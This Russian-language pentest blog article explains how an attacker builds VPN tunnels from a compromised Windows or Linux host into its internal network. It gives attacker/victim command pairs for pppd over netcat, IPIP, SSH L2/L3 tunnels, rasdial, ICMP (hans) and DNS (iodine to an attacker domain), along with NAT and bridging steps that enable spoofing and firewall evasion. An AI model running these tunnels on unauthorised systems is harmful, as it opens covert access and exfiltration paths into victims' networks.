Создание VPN туннеля на Windows и Linux

spy-soft.net/vpn-tunnel-windows-linux

9 сентября 2020 г.

VPN-туннели призваны обеспечить атакующему полноценный доступ во внутреннюю сеть или изолированный VLAN и открыть возможность для дальнейшего комфортного продвижения.

Еще по теме: Техники туннелирования при пентесте

В этой статье я покажу, как создать VPN-тунель в Windows и Linux через TCP (L3-туннель), ICMP, DNS и через SSH (L2/L3-туннели).

Настройка VPN-туннелей

Все примеры использования туннелей требуют прав администратора или root.

VPN-туннель через TCP в одну команду (L3-туннель)

В Linux мы можем очень элегантно поднять туннель, не используя настраиваемый VPN-сервер:

```
1  attacker> sudo pppd noauth pty 'nc -klp 5555'
2  victim#> pppd noauth persist pty 'nc attacker 5555' 172.16.0.1:172.16.0.2
```

Туннель создан. Теперь, чтобы превратить victim в gateway, нужно проделать следующее:

```
1  victim#> echo 1 > /proc/sys/net/ipv4/ip_forward
2  victim#> iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
```

Готово, с этого момента мы можем направлять трафик во внутреннюю сеть как есть, используя только роутинг:

```
1  attacker> sudo route add -net 10.0.0.0/8 dev tun0
```

Стоит отметить, что, используя pppd, мы можем создавать туннель по инициативе любой из сторон (victim или attacker). Это значит, что мы получили возможность обойти проблемы с межсетевыми экранами. Для работы требуется поддержка ядра (модуль ppp_generic).

А вот еще один способ поднять туннель, используя IPIP:

```
1  attacker> sudo ip tunnel add tun0 mode ipip remote victim local attacker dev eth0
2  attacker> sudo ifconfig tun0 172.16.0.2/30 pointopoint 172.16.0.1
3  victim#> ip tunnel add tun0 mode ipip remote attacker local victim dev eth0
4  victim#> ifconfig tun0 172.16.0.1/30 pointopoint 172.16.0.2
```

VPN туннель через SSH (L2/L3-туннели)

Если на victim или attacker есть SSH-сервер, то этого достаточно, чтобы создать VPN. Сперва нужно разрешить подключение в /etc/ssh/sshd_config:

```
1  PermitTunnel point-to-point
```

После этого можно создать подключение:

```
1  attacker> sudo ssh -N tun@victim -w 0:0
2  attacker> sudo ifconfig tun0 172.16.0.1/30 pointopoint 172.16.0.2
3  victim#> ifconfig tun0 172.16.0.2/30 pointopoint 172.16.0.1
4  attacker> sudo route add -net 10.0.0.0/8 dev tun0
5  victim#> echo 1 > /proc/sys/net/ipv4/ip_forward
6  victim#> iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
```

Для организации доступа в сеть L3-туннеля будет достаточно. Но если мы хотим не просто просканировать порты, а выполнять атаки, такие как ARP/NBNS/DHCP-spoofing, то потребуется L2-туннель. Для этого прописываем в /etc/ssh/sshd_config следующее:

```
1  PermitTunnel ethernet
```

Перезапускаем SSH-сервер и выполняем подключение:

```
attacker> sudo ssh root@victim -o Tunnel=ethernet -w any:any
victim#> brctl addbr br0; brctl addif br0 eth0; brctl addif br0 tap0; ifconfig eth0 0
promisc; ifconfig br0 10.0.0.70/24
attacker> sudo dhclient tap0
```

Как всегда, с L2-туннелями нужно быть очень осторожным: из-за малейшей ошибки при создании мостов удаленная машина уйдет в вечный офлайн.

VPN-туннели на Windows

Windows из коробки тоже поддерживает VPN (в варианте PPTP/L2TP). Более того, управлять можно из командной строки благодаря встроенному компоненту:

```
victim#> rasdial.exe netname username * /phonebook:network.ini
```

Конфиг для network.ini выглядит следующим образом:

```
[netname]
MEDIA=rastapi
Port=VPN9-0
DEVICE=rastapi
PhoneNumber=attacker
```

Отключают VPN-соединения следующей командой:

```
victim#> rasdial netname /disconnect
```

Не стоит забывать про классический OpenVPN, который прекрасно работает и на Linux, и на Windows. При наличии прав администратора его использование не должно вызвать проблем.

Также достаточно экзотический, но действенный способ L2-туннелирования на Windows через виртуализацию был описан в этой статье.

VPN-туннель через ICMP

Если выход в интернет запрещен, но разрешены пинги, то можно воспользоваться hans и в две команды создать L3-туннель (172.16.0.1 на attacker и 172.16.0.10 на victim):

```
attacker> sudo ./hans -s 172.16.0.1 -p passwd
victim#> ./hans -c attacker -p passwd -a 172.16.0.10
```

Клиентская сторона для Windows работает аналогичным образом, но для работы потребуется tap-интерфейс, который можно создать с помощью OpenVPN.

VPN-туннель через DNS

В последний раз возвращаемся к DNS. Если в настройках DNS разрешены резолвы произвольных доменов, что бывает достаточно часто, то с помощью iodine мы можем создать полноценный L3-туннель (172.16.0.1 на attacker и 172.16.0.2 на victim):

```
1  attacker> sudo ./iodined -f 172.16.0.1 -P passwd attacker.tk
2  victim#> ./iodine -f -P passwd attacker.tk
```

Еще по теме: Проброс интернета по DNS

VPN-туннели можно организовать как напрямую между attacker и victim, так и сочетанием разных техник проброса портов. Например, мы можем вместо DNS-туннеля iodine использовать сочетание DNS2TCP + pppd.

Заключение

Подводя итог, я бы добавил, что использование VPN-туннелей хоть и дает комфортный доступ в сеть, все же не обязательный этап в проникновении. Если это нельзя выполнить легко, то тратить время на траблшутинг нецелесообразно. Почти всегда достаточно старого доброго проксирования трафика.